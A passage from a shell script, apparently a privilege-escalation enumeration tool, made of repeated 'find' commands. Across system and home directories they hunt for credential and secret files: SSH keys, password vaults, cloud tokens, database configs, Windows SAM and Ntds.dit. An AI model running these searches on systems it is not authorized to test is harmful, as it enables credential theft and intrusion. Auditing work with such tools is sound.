-name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"mysql\" -o -name \"bind\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"kubernetes\" -o -name \"system.d\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"cacti\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"pam.d\" -o -name \"environments\" -o -name \".password-store\" -o -name \"system-connections\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"mysql\" -o -name \"bind\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"mysql\" -o -name \"bind\" -o -name \".irssi\" -o -name \"sentry\" -o -name \"kube-proxy\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"kubelet\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_BIN=`eval_bckgrd "find /bin -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CACHE=`eval_bckgrd "find /.cache -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CDROM=`eval_bckgrd "find /cdrom -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o 